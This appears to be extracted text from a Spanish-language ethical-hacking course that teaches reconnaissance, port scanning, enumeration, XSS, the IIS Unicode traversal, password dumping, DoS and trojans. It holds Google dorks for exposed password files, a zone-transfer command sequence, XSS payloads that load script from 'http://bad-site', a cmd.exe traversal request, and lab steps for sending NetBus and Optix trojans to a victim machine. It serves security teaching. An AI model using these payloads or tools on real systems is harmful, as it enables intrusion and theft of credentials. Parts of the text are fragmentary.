El levantamiento comienza por:
1. Búsqueda del nombre de dominio
(empresa.com)
2. Localización física de la empresa, direcciones,
teléfonos, direcciones de correo electrónico
3. Búsqueda sobre información de la empresa en google y
otros motores de búsqueda, blogs, noticias, foros, etc.
Búsqueda de versiones en páginas como www.archive.org
4. Búsqueda de Intranet, proyectos, versiones beta de la
empresa, conseguir acceso a la Intranet puede brindar
información valiosa de la misma.
◦ Normalmente, se pueden inferir los sitios internos de las empresas:intranet.empresa.com,beta.empresa.com,
www2.empresa.com, etc.
5. Existen herramientas como DNS Enumerator, Spider
Foot, DNS Stuff que te ayudan a realizar la busque
Práctica:Archive.org
Ambiente: Cualquiera
Vaya al sitio Web:
www.archive.org
,
utilice la herramienta para buscar
versiones anteriores de su sitio web.
Práctica:Archive.org
Ambiente: Cualquiera
Vaya al sitio Web:
www.archive.org
,
utilice la herramienta para buscar
versiones anteriores de su sitio web.
Práctica:dnsstuff
Ambiente: Cualquiera
Muchas aplicaciones mal instaladas, o instaladas por defecto, errores de
configuración, etc, terminan publicando información que no debería ser publica en Internet. Esta información es indexada por los buscadores y por lo tanto, terminan siendo disponibles para el ethical hacker o para el criminal informático.
En particular, las capacidades avanzadas de búsqueda de google son
extraordinariamente flexibles. Las búsquedas comunes y corrientes contienen texto a ser buscado en el cuerpo de la página Web.
Sin embargo, las búsquedas avanzadas pueden especificar tipos de archivos, textos en distintas partes de la página no solo el cuerpo, patrones de números, firmas de aplicaciones, etc.
Algunos modificadores de este tipo son: Inurl: Texto en el URL de la pagina. Intext: Texto libre.
Site: Especifica un dominio.
Filetype: Tipo de archivos a buscar.
Google Hacking
Obtener Cuentas:
inurl:account filetype:xls Obtener passwords:
inurl:passwords filetype:xls Obtener info sobre sistemas:
intitle:"sysinfo * " intext:"Generated by Sysinfo * written by The Gamblers." Busqueda de dispositivos:
inurl:indexFrame.shtml Axis (WebCams) intext:centreware inurl:status (Printers)
El sitio web donde todo esto ocurre se llama the Google Hacking Database: http://johnny.ihackstuff.com/ghdb.php
Google Hacking
El google hacking esta muy bien para los “hacks accidentales”.
Es bastante obvio que cuando estamos tratando de evaluar un sitio en
especifico, es imposible probar todos los posibles google hacks junto con el modificador site:dominio.tld. Por cierto, justamente esta idea esta detrás del famoso scanner “goolag” desarrolaldo hace poco por el cDc.
A pesar de que hicieron esta idea impractica en realidad, lo que sucede al ejecutarla es que google bloquea nuestro IP por gran numero de búsquedas.
Sin embargo, goolag esta incluido en el CD de herramientas porque no deja de ser una excelente compilación de “google dorks”.
Google Hacking
Instalar Goolag
Realizar un scan de unos cuantos google dorks para algún site externo.
Notar el número de scans antes de ser bloqueados.
* Es esto ilegal?
Notar la gran cantidad de google dorks recopilados.
Práctica Número 8:
Por supuesto, los atacantes también saben esto y es irreal pensar que esto sucede en el mundo real. Lo que sucede en el mundo real es que información es recopilada de una forma mucho mas deterministica.
En los tiempos de antes, el evaluador y el atacante se sentarían a revisar cada uno de los resultados de sus sofisticadas búsquedas para interpretar la información y decidir cual era relevante o importante para su proyecto. Esto ya no es así. La evolución del google Hacking se llama: Paterva.
Paterva – Maltego
Maltego es un programa que es capaz de determinar relaciones entre personas y enlaces del mundo real entre:
Gente
Grupos de gente (Social networks) Compañías
Sitios Web
Infraestructura de Internet tales como - Dominios
- Nombres DNS - Netblocks - Direcciones IP. Frases
Afiliaciones
Archivos y documentos.
Utilizar Maltego para ver que información pueden obtener sobre personas, organizaciones, correos electrónicos, etc.
http://maltego1.paterva.com/maltego-classic.html
Sección Práctica
En este momento ya tenemos un buen número de herramientas para recopilar información de nuestros objetivos.
A partir de todas las técnicas anteriores debemos tener unos cuantos nombres de dominio, rangos de direcciones IP, etc.
Técnicas y herramientas de Hacking
Con estos pedazos de información es momento de empezar a determinar puntos débiles en concreto en donde podamos ejecutar técnicas específicas para violar mecanismos de protección.
Si reflexionamos un poco sobre todo lo anterior, no se ha violentado ninguna tecnología, no se ha abusado de
ningún privilegio. Toda la información obtenida ha sido recopilada por medios públicamente disponibles.
Ejecutar un ataque de transferencia de zona con nslookup. nslookup set type=NS dominio.com server servidordns.dominio.com set type=any
ls –d dominio.com
Todos los dominios bien configurados deben responder con un “transacción rehusada”. En caso contrario esta secuencia de comandos nos devuelve una lista de hosts con sus nombres de acuerdo a los records del servidor DNS que fue preguntado.
Algunos servidores DNS también pueden responder con datos incorrectos para despistar atacantes. Salvo casos muy especiales, las transferencias de zonas no deberían
permitirse a la internet en general.
Sección Práctica:
En esta etapa el atacante intenta descubrir,
enumerar e inventariar los equipos de la red a la
que quiere acceder.
Específicamente, el atacante desea recolectar
información acerca de las direcciones IP, su
sistema operativo, la arquitectura de sistemas de
la víctima y los servicios que cada equipo de su
red está ejecuta.
Syn Stealth o Half Open:
◦
Se envía un paquete SYN a un puerto del equipo, lo que
sugiere que se está solicitando una conexión, una
respuesta es esperada.
◦
Si el puerto está abierto enviará un paquete SYN/ACK.
◦
Por el contrario, si el puerto está cerrado enviará un
paquete RST.
La ventaja de este tipo de escaneo es que muy
pocos sitios registran este tipo de actividad.
FIN Scan:
◦
Sólo funciona con equipos con TCP/IP desarrollado de
acuerdo al RFC 793, si se realiza con Windows la
respuesta será que todos los puertos están cerrados.
◦
El escaneo consiste en enviar un FIN, si el puerto está
abierto se recibirá NO RESPONSE...si el puerto
está cerrado se recibirá un RST/ACK.
NULL Scan:
◦
Este tipo de rastreo sólo funciona con equipos con
TCP/IP desarrollado de acuerdo al RFC 793. Si se
realiza con Windows la respuesta será que todos los
puertos están cerrados.
◦
El escaneo consiste en enviar un paquete sin banderas
configuradas, si el puerto está abierto se recibirá NO
RESPONSE...si el puerto está cerrado
se recibirá un
RST/ACK
Window Scan:
◦
Este rastreo es similar al ACK, la detección se realiza
revisando el tamaño de las ventanas.
ICMP Echo Scan:
◦
Esta opción no es realmente un tipo de rastreo dado que
ICMP tiene abstracción de puertos, pero es útil para
determinar qué equipos de una red están arriba haciendo ping.
List Scan:
◦
Este tipo de escaneo simplemente genera e imprime la lista de
Ips/nombres sin hacer ping o escaneo de puerto. En realidad
se realiza una resolución de nombres (DNS)
Bounce Scan:
◦
Este tipo de rastreo utiliza la vulnerabilidad de los
servidores FTP para los ataques de bounce. Esta
vulnerabilidad permite que una persona solicite al
servidor FTP abrir una conexión con un tercero en un
puerto en particular. Cómo el atacante puede utilizar el
FTP también podrá recibir los resultados. El ataque
bounce es similar a la usurpación de IP (IP Spoofing).
◦
El anonimato del atacante se mantiene.
◦
También es bueno evadiendo cortafuegos y permite
acceso a redes locales.
Reverse Ident Scan:
◦
El protocolo Ident permite que se muestren los usuarios
dueños de procesos conectados vía TCP, incluso si ese
proceso no comenzó la conexión.
◦
De esta forma una conexión puede establecerse por
HTTP y luego utilizar ident para identificar qué servidor
está corriendo como root.
RPC Scan:
◦
Este método funciona en combinación con otros tipos de
rastreos de puertos.
◦
Funciona escaneando todos los puertos TCP/UDP y
luego los inunda con un programa de SunRPC con
comandos nulos en un intento de determinar si son
puertos RPC, si lo son, trata de determinar qué versión
tienen y programas están sirvie
ndo.
Blaster Scan:
◦
Este es un rastreo de puertos TCP sistemas para
basados en *nix.
◦
Realiza ping a los equipos para determinar conectividad,
escanea segmentos de red, accesos anónimos a
servidores FTP, vulnerabilidades CGI, POP3 y FTP (para
ataques de fuerza bruta).
Práctica:p0f
Ambiente: Linux
P0f es una herramienta para obtener información remota
sobre el sistema operativo y versiones de servidor de una máquina.
Su principal característica es que no deja huella en los firewalls
y sistemas de detección de intrusos (a diferencia de ratreadores
de puertos activos como Nmap.)
1.Abra un shell en linux
2.Ejecute
•
p0f –i <el número de interfaz de su ta
rjeta de red>3.Abra un navegador (browser), observe los resultados.
Práctica:Cheops
Ambiente: Linux
Cheops es una herramienta para sistemas linux que permite
detección de sistemas operativos, servicios activos en una
red, escaneo de puertos, etc..
1.Abra un shell
2.Ejecute la herramienta ( simplemente ejecute el comando cheops)
Otro camino común utilizado en esta etapa es la
búsqueda de vulnerabilidades que puedan ser
explotables.
Existen innumerables herramientas que pueden ser
utilizadas para este fin.
Proxy: es un servidor que puede ser utilizado
cómo intermediario para conexiones con otros
equipos.
Es común utilizar servidores distribuidos por
varios países de forma es esconder el origen real
de la intrusión.
Tor es una de las herramientas de proxy-socks mas
conocidas y utilizadas.
Funciona re-direccionando todo el tráfico a un servidor
anónimo y cifrando los datos entre ese servidor tor y el
cliente ( no entre el servidor tor y el destino)
El término enumeración se emplea para designar el proceso de
extracción de cuentas de usuario, privilegios de las cuentas,
nombres de equipo, etc.
Algunas técnicas de enumeración para la extracción de usuarios:
1. W2K
2. SNMP
3. Utilizando los IDs de correo electrónico
4. Extrayendo información con usuarios por omisión
5. Fuerza bruta contra directorio activo.
Ejecute el programa Getacct ( get account) contra el
sistema víctima de su red.
Práctica: getacc
Ambiente: Windows
Las sesiones nulas toman ventaja de una vulnerabilidad en
el CIFS/SMP (Common Internet File System/Server
Messaging Block).
Se puede establecer una sesión nula con un equipo de
Windows /(NT/2000), con un usuario nulo y su password.
Utilizando una sesión nula se puede recabar información
sobre el equipo como:
◦
Lista de usuarios y grupos
◦
Lista de equipos
◦
Lista de servicios compartidos
◦
Usuarios y SIDs (Security Identifier)
Luego de lograr el acceso el hacker tratará de
escalar privilegios y ejecutar aplicaciones o
exploits de forma encubierta.
Una forma común de encubrimiento son los
rootkits. Los rootkits se instalan en el kernel y
tienen la habilidad de esconderse y encubrir sus
actividades.
Cuando se instala un rootkit se reemplazan llamados
del sistema operativo por versiones o rutinas
modificadas que contienen la ejecución de script o
aplicación adicional al llamado natural que realiza la
función.
Un rootkit puede: Esconder procesos, archivos,
entradas en el registro interceptar comandos, solicitar
debug (causando los famosos pantallazos azules),
redirigir archivos .
Obtención de identidades mediante ataques de
“ hombre en el medio”.
Envenenamiento del Cache del DNS.
Explotando errores de los programas.
Explotando configuraciones incorrectas.
Envenenamiento de URL
Inyecciones SQL
DoS
¿Cómo son comprometidos?
Cross-Site Scripting
◦
En HTML, existen caracteres “especiales”, que se
utilizan para que el servidor y los navegadores puedan
diferenciar entre texto normal ( mostrado) y elementos
que proporcionan diferentes funcionalidades.
◦
Cross-Site Scripting es una vulnerabilidad que puede ser
explotada mediante la inserción de caracteres especiales
en la comunicación cliente-servidor, en forma de scripts,
contentivo de código malicioso.
<A HREF= “http://sitio.com/comment.cgi?
mycomment=<SCRIPT>codigo-malicioso</SCRIPT>">
Click here</A>
<A HREF= “http://sitio.com/comment.cgi?
mycomment=<SCRIPT SRC=‘http://bad-site/badfile'>
</SCRIPT>"> Click here</A>
Imagine que ud. Ha recibido un correo electrónico
con una invitación a un paseo. Para ir al paseo,
ud. debe llenar un formulario con sus datos.
El email tiene un link que amablemente lo llevará
al formulario.
El link tiene la forma
http://www.elpaseosoñado.com
El código del link dice:
www.victima.com/default.asp?name=<script>evilScript()</script>
Usuario Confiado…
Server Vulnerable
Usuario Envía Solicitud
Server Devuelve HTML con código
malicioso incluido
( el server cree que es el nombre del usuario)Usuario confiado pierde el
Control de su máquina, el código malicioso
Se lo ha entregado a un extraño
Esta vulnerabilidad permite a usuarios externos obtener
acceso a máquinas corriendo IIS 4.0 o IIS 5.0 a través de
URL’s “malformadas”
Ej:
◦
Microsoft IIS efectúa una verificación de seguridad sobre cada
CGI URL ejecutado para asegurar que el requerimiento no use
ninguna secuencia ‘../’
◦
Pero..
◦
Dado que la codificación Unicode del caracter ‘/’ es ‘%c0%af’, si
se reemplaza la secuencia ‘../’ por ‘..%c0%af’ este no será
rechazado por la verificación inicial, ya que dicho proceso no
encuentra ninguna ocurrencia de los caracteres ‘../’ sólo verá una
secuencia ‘..%c0%af’ válida.
GET/scripts/..%c0%af/winnt/system32/cmd.exe?/
c+dir=c:\ HTTP/1.0
‘%c0 es el código de la tabla
Basic Latin
El número
más grande
es %7f ( 127
D)
Pero, %af > %7f, lo
Que significa que el sistema
“da la vuelta” ,%80-%af=%2f
%2
F
RPC DCOM
◦
RPC (Remote Procedure Call o Llamada de
Procedimiento Remoto), es un protocolo utilizado por
Windows, que proporciona un mecanismo de
comunicación entre procesos internos, y que permite que
un programa ejecutándose en una computadora pueda
acceder a los servicios de otra, de manera transparente
para el usuario
◦
Windows posee un servicio llamado DCOM (Distributed
Component Object Model o Modelo de Objeto
Componente Distribuido), que permite a los objetos
COM comunicarse entre a través de la red.
◦
Un atacante puede utilizar los puertos TCP/UDP 135
(RPC), 139 y 445 (NetBIOS), 593 (RPC/http), o cualquier
puerto habilitado por IIS para alcanzar los servicios
DCOM vulnerables.
◦
Existen innumerables vulnerabilidades descritas y
explotables utilizando los servicios DCOM.
◦
Un atacante que tenga éxito en aprovecharse de
estas vulnerabilidades, podría ejecutar un código
capaz de tener todos los privilegios del sistema
local de un sistema afectado.
Práctica: RPC Exploit-GUI
Ambiente: MS. Windows
1-Ejecute la Herramienta RPC
E-Gui que le entregará el
instructor.
2-Localice a la víctima de su
ataque.
3- Ejecute el ataque. (SÓLO
UNA VEZ)
4- Evalúe la consecuencias del
mismo.
reinaldo@guije:~$
echo -e "GET / HTTP/1.0\n\n" | nc -vv
www.XXXXXXX.COM 80
XXXXXXX.com.ve [XXX.XXX.XXX.116] 80 (www)
open
HTTP/1.1 200 OK
Date: Fri, 21 Nov 2008 02:21:22 GMT
Server: Apache/2.0.53 (Ubuntu) PHP/4.3.10-10ubuntu4.3
X-Powered-By: PHP/4.3.10-10ubuntu4.3
Connection: close
Autenticación
El modelo más común de autenticación permite identificar a un usuario, una aplicación o a un servicio utilizando una pareja de ID-Clave
En un contexto más amplio existen varios modelos adicionales de autenticación:
Kerberos
Esquemas de Autenticación
Autenticación HTTP • AutenticaciónBasica • Digest Autenticación
Autenticación Windows (NTLM)
Autenticación con Certificados Digitales o Claves RSA Secure Token
Digest Authentication
La contraseña no se utiliza directamente en la autenticación, sino, por ejemplo:
HA1 = MD5 (nombre de usuario: entorno: contraseña).
Digest Authentication
Servidor de
Autenticación
Servidor Envía Reto
Usuario
Cifra
Reto con
Clave
Usuario envía Reto Cifrado
Servidor
compara reto
enviado con
reto recibido
Cliente
Autenticación NTLM
Constituye una variante de la autenticación mediante resúmenes criptográficos.
Se trata igualmente una forma segura de autenticación en la medida en que no se envían ni la contraseña ni el nombre de usuario a través de la red.
Sólo está soportado por Microsoft Internet Explorer, versión 2.0 o
posterior y servidores NT.
¿Cómo ocurre la autenticación en redes Microsoft?
Cuando un usuario envía la orden para acceder a
\\maquina\recurso_compartido se efectúan los siguientes pasos:
Establecimiento de sesión TCP
Establecimiento de sesión NetBIOS
SMB
SMB (Server Message Block) es el protocolo a nivel
capa Aplicación usado en las redes Microsoft.
Por razones de compatibilidad, los nuevos
sistemas operativos siempre “comprenden” a los
anteriores.
Durante la negociación el cliente envía la lista de
dialectos que comprende, el server selecciona uno
en común (normalmente el más nuevo) y devuelve
esa información al cliente.
Kerberos
El servidor de Kerberos en Windows 2000 es un
Controlador de Dominio. Todos los controladores
de dominio Windows 2000 proveen el servicio
Kerberos a la red.
Kerberos está basado en la técnica de
“Secreto-Compartido”.
Si tanto cliente, como usuario y como server,
tienen cuenta en el dominio hay un
secreto-compartido entre cada uno de ellos y el
Ej. de extensiones
SSL
76
|
D.Hellman
Usando C. Asimétrica
Práctica: PWDUMP, LC4
Ambiente: MS. Windows
LOS ELEMENTOS AQUÍ PLANTADOS SON SÓLO UNA
PRUEBA DE CONCEPTOS, NO DEBEN SER UTILIZADOS
CON OTROS FINES
.
PWDump
Ejecute la herramienta en línea de comando en su equipo.
Ejecute:
pwdump ip_del_equipo ruta_de_archivo id
Cuando la herramienta le indique
completed busque en el sitio donde guardo el archivo. En el archivo tendrá un listado de
usuarios y un campo dónde podrá visualizar el hash del password. Utilice LC4
Una vez que ejecute la
Tipos Generales
"flood"
“Man-in-the-middle
“Block Users”
¿Como se inicia un DoS?
Se comienza un ataque de DoS explotando una vulnerabilidad en un sistema informático.
Es del sistema principal que el intruso identifica y se comunica con otros sistemas que puedan ser comprometidos.
La idea detrás de un ataque de este tipo es dejar fuera al sistema víctima, principalmente por inanición de recursos.
Algunos Ataques de DoS
SYN flood
TCP FIN flood
Tipos de Ataques
DoS : Ataque Individual de Negación de Servicios
Ping de la Muerte
A atacante deliberadamente envía datagramas IP mayores de los 64 KB permitidos por el protocolo IP.
El proceso de fragmentación hace que el paquete sea “ picado” en fragmentos. Cada fragmento su vez puede tener hasta 64 KB
Smurf
Enviar un paquete ICMP-Echo-Request a un‘SMURF amplifier’ network (A-class broadcast address).
¿Qué es un Troyano?
Un Troyano es un pequeño programa que corre a escondidas y que infecta a un computador.
Tipos de Troyanos
Security Software Disablers Destructive
Remote Access Data-Sending
Puertos utilizados por (algunos)
troyanos
Back Orifice 31337-38 /UDP
Deep Throat 2140, 3150/UDP
NetBus 12345,12346/TCP
NetBus 2 Pro 20034/TCP
Práctica: NetBUS
Ambiente: MS. Windows
NetBUS
El instructor le entregará una máquina virtual a la que
llamaremos víctima.
En la máquina “ atacante” , la suya, encontrará un carpeta
llamanda netbus.
Existen 2 archivos importantes: NetBUS.exe (CLIENTE, Ud.) y
PATH. Exe ( SERVIDOR, su víctima) NO EJECUTE PATH EN SU
MAQUINA!!!!
Envíe el archivo path.exe a la máquina víctima, espere a que
se ejecute.
Práctica: Optix
Ambiente: MS. Windows
Optix
Con optix, construiremos tanto un cliente como un servidor, al igual que con el netbus abra que hacer llegar una parte a la víctima.
Optix: Builder
Luego de elegir las
opciones que desee,
construya el troyano.
RECUERDE...
Las anteriores demostraciones sólo tienen
Práctica: Super Helper Tool Ambiente: MS. Windows
Esta es una herramienta que permite verificar los procesos que están corriendo de manera independiente al sistema operativo, detectar y detener troyanos y virus.